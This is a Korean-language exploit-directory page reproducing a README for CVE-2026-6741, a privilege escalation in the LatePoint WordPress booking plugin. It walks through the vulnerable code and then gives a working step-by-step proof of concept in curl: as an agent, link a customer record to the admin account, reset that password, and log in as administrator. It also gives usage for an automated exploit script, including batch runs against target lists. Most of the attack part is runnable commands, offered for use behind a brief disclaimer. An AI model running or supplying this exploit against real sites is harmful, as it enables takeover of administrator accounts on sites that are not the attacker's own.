Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-6741 — CVE-2026-6741은 LatePoint – Calendar Booking Plugin에서 발생하는 CVSS 8.8(높음) 인증된(Agent+) 권한 상승 취약점입니다. | Kitploit
도구/GitHubGitHub/xxconi/cve-2026-6741
Privilege EscalationVulnerability ScannersExploitationWeb Application ExploitationCTFPenetration TestingLearning & Education
GitHubxxconi/cve-2026-6741

CVE-2026-6741

CVE-2026-6741은 LatePoint – Calendar Booking Plugin에서 발생하는 CVSS 8.8(높음) 인증된(Agent+) 권한 상승 취약점입니다.

저장소 보기
114개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-6741

CVE-2026-6741은 LatePoint – Calendar Booking Plugin에서 발생하는 CVSS 8.8(High) 등급의 인증된(Agent+) 권한 상승 취약점입니다.

CVE-2026-6741 — LatePoint 권한 상승 스캐너

플러그인: LatePoint – Calendar Booking Plugin for Appointments and Events (latepoint) CVE ID: CVE-2026-6741 CVSS 점수: 8.8 (High) CVSS 벡터: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 취약점 유형: Authenticated (Agent+) Privilege Escalation → Administrator Takeover 영향받는 버전: <= 5.4.1 패치된 버전: 5.4.2 공개 날짜: 2026년 4월 27일 연구자: skyv3il (AI SAFE), Chirita Catalin-Andrei / CC99IE (UVT-CTF), AmonRa — Wordfence


📌 취약점 정보

latepoint_agent 역할을 가진 인증된 공격자는 임의의 LatePoint 고객(customer) 레코드를 WordPress 관리자 계정에 연결한 다음, LatePoint 자체의 비밀번호 재설정 흐름을 사용해 관리자의 비밀번호를 변경할 수 있습니다.

이로 인해 전체 사이트 탈취가 발생합니다.


🔍 취약점 요약

필드값
플러그인 이름LatePoint – Calendar Booking Plugin
플러그인 슬러그latepoint
CVE IDCVE-2026-6741
CVSS 점수8.8 (High)
취약점 유형Authenticated (Agent+) Privilege Escalation
영향받는 버전<= 5.4.1
패치된 버전5.4.2
요구 사항latepoint_agent 역할, WordPress 6.9+

⚙️ 기술 분석

WordPress Abilities API

LatePoint 5.3.0은 WordPress 6.9+에 도입된 Abilities API 지원을 추가했습니다. 이 API를 통해 플러그인은 REST API로 호출할 수 있는 "ability" 클래스를 등록할 수 있습니다:

// latepoint.php (5.4.1, line 907)
if ( function_exists( 'wp_register_ability' ) ) {
    include_once LATEPOINT_ABSPATH . 'lib/abilities/class-latepoint-abilities.php';
}

취약한 코드 경로

1 — Ability 정의 (역할 검사 누락)

// lib/abilities/customers/connect-customer-to-wp-user.php — line 12
protected function configure(): void {
    $this->id         = 'latepoint/connect-customer-to-wp-user';
    $this->label      = __( 'Connect customer to WP user', 'latepoint' );
    $this->permission = 'customer__edit';   // ← tek kontrol: bu capability
}

Agent 역할은 기본적으로 customer__edit 권한을 보유합니다:

// lib/helpers/roles_helper.php — line 401
public static function get_default_capabilities_list_for_agent_role() {
    $capabilities = [
        ...
        'customer__edit',   // ← agent bu yetkiye sahip
        ...
    ];
}

2 — execute() — 역할 검사 없음

// connect-customer-to-wp-user.php — lines 39–60
public function execute( array $args ) {
    $customer   = new OsCustomerModel( (int) $args['customer_id'] );
    $wp_user_id = (int) $args['wp_user_id'];

    if ( ! get_userdata( $wp_user_id ) ) {
        // Sadece kullanıcının var olup olmadığı kontrol ediliyor
        // EKSIK: Hedef kullanıcının rolü kontrol edilmiyor
        return new WP_Error( 'wp_user_not_found', ... );
    }

    $customer->wordpress_user_id = $wp_user_id;  // ← herhangi WP user'a bağla
    $customer->save();

    return $this->serialize_customer( ... );
}

3 — 비밀번호 재설정 체인

// lib/models/customer_model.php — line 315
public function update_password( $password ) {
    if ( OsAuthHelper::can_wp_users_login_as_customers()
         && $this->wordpress_user_id ) {
        wp_set_password( $password, $this->wordpress_user_id );
        // ↑ wordpress_user_id artık admin ID'si → admin şifresi değişir
    }
}

기존 검사가 왜 불충분한가?

// LatePointAbstractAbility — check_permission()
public function check_permission(): bool {
    return OsRolesHelper::can_user( $this->permission );
    // Sadece ÇAĞIRANIN yetkisini kontrol eder
    // HEDEF kullanıcının rolünü kontrol etmez
}

🔴 공격 체인

latepoint_agent 계정
        │
        ▼
1. Agent로 WP에 로그인 → REST nonce 획득
        │
        ▼
2. 대상 admin WordPress 사용자 ID 식별
   (wp-json/wp/v2/users 또는 ID=1)
        │
        ▼
3. POST /wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user
   { "customer_id": 5, "wp_user_id": 1 }
   → 역할 검사 없음 → 성공
        │
        ▼
4. LatePoint forgot_password → 고객 이메일로 reset token 전송
        │
        ▼
5. Token으로 change_password → update_password() 호출
   → wp_set_password("Hacked!", 1)
   → 관리자 비밀번호 변경됨
        │
        ▼
6. 새 비밀번호로 admin 로그인 → 전체 사이트 제어 ✓

🧪 Proof of Concept (수동)

⚠️ 면책 고지: 이 PoC는 교육 및 방어적 보안 연구 목적으로만 제공됩니다.

전제 조건:

  • WordPress 6.9+ (Abilities API 필요)
  • LatePoint <= 5.4.1 설치 및 활성화
  • latepoint_agent 역할을 가진 계정
  • 공격자가 제어하는 LatePoint 고객(customer) 레코드

단계 1 — Agent 로그인 + REST Nonce

WP_URL="https://target.example.com"
AGENT_USER="agent_user"
AGENT_PASS="agent_password"

# Cookie tabanlı oturum aç
curl -c cookies.txt -b cookies.txt -s -X POST "$WP_URL/wp-login.php" \
  -d "log=$AGENT_USER&pwd=$AGENT_PASS&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
  -H "Cookie: wordpress_test_cookie=WP+Cookie+check"

# REST nonce al
NONCE=$(curl -s -b cookies.txt \
  "$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")
echo "Nonce: $NONCE"

단계 2 — Admin 사용자 ID 식별

# REST API ile admin kullanıcıları listele
curl -s "$WP_URL/wp-json/wp/v2/users?roles=administrator" \
  -H "X-WP-Nonce: $NONCE" | python3 -m json.tool

ADMIN_WP_USER_ID=1   # Genellikle ID=1

단계 3 — Customer → Admin 연결 (취약점)

CUSTOMER_ID=5   # Kontrol ettiğin LatePoint customer ID

curl -s -b cookies.txt -X POST \
  "$WP_URL/wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user" \
  -H "Content-Type: application/json" \
  -H "X-WP-Nonce: $NONCE" \
  -d "{\"customer_id\": $CUSTOMER_ID, \"wp_user_id\": $ADMIN_WP_USER_ID}"

예상 응답:

{
  "id": 5,
  "wp_user_id": 1,
  "email": "[email protected]"
}

단계 4 — 비밀번호 재설정 시작

CUSTOMER_EMAIL="[email protected]"

curl -s -X POST \
  "$WP_URL/?latepoint_route=customer_cabinet%2Fforgot_password" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "password_reset_email=$CUSTOMER_EMAIL"

LatePoint는 $CUSTOMER_EMAIL 주소로 account_nonce 토큰이 포함된 재설정 이메일을 전송합니다.


단계 5 — 비밀번호 변경

RESET_TOKEN="<emailden_alinan_token>"
NEW_PASSWORD="Attacker_Password123!"

curl -s -X POST \
  "$WP_URL/?latepoint_route=customer_cabinet%2Fchange_password" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "password_reset_token=$RESET_TOKEN&password=$NEW_PASSWORD&password_confirmation=$NEW_PASSWORD"

이 호출은 update_password() → wp_set_password($NEW_PASSWORD, 1) 체인을 트리거합니다. 관리자 비밀번호가 변경되었습니다.


단계 6 — Admin으로 로그인

curl -c admin_cookies.txt -b admin_cookies.txt -s -X POST \
  "$WP_URL/wp-login.php" \
  -d "log=admin&pwd=$NEW_PASSWORD&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
  -H "Cookie: wordpress_test_cookie=WP+Cookie+check"

검증

# wp-admin erişimi
curl -b admin_cookies.txt "$WP_URL/wp-admin/user-new.php"
# Beklenen: 200 OK (wp-login.php'ye yönlendirme değil)

# REST API ile rol doğrulama
ADMIN_NONCE=$(curl -s -b admin_cookies.txt \
  "$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")

curl -s "$WP_URL/wp-json/wp/v2/users/me" \
  -H "X-WP-Nonce: $ADMIN_NONCE" | python3 -m json.tool
# Beklenen: "roles": ["administrator"]

🛠️ 자동 스캐너

설치

git clone https://github.com/kullanici/cve-2026-6741-scanner
cd cve-2026-6741-scanner
pip install -r requirements.txt

requirements.txt

requests

🚀 사용 방법

단일 대상 — 완전 자동

python latepoint_privesc.py -u http://hedef.com \
  --agent-user agent1 --agent-pass Pass123!

Admin ID 및 Customer ID 수동 지정

python latepoint_privesc.py -u http://hedef.com \
  --agent-user agent1 --agent-pass Pass123! \
  --admin-id 1 \
  --customer-id 5 \
  --customer-email [email protected]

2단계 — Reset Token으로 비밀번호 변경

python latepoint_privesc.py -u http://hedef.com \
  --agent-user agent1 --agent-pass Pass123! \
  --admin-id 1 \
  --customer-id 5 \
  --customer-email [email protected] \
  --reset-token abc123xyz \
  --new-password Hacked_2026!

일괄 스캔

python latepoint_privesc.py -l targets.txt -t 10 \
  --agent-user agent1 --agent-pass Pass123! \
  -o sonuclar.txt

프록시 사용 (Burp Suite)

도구 다운로드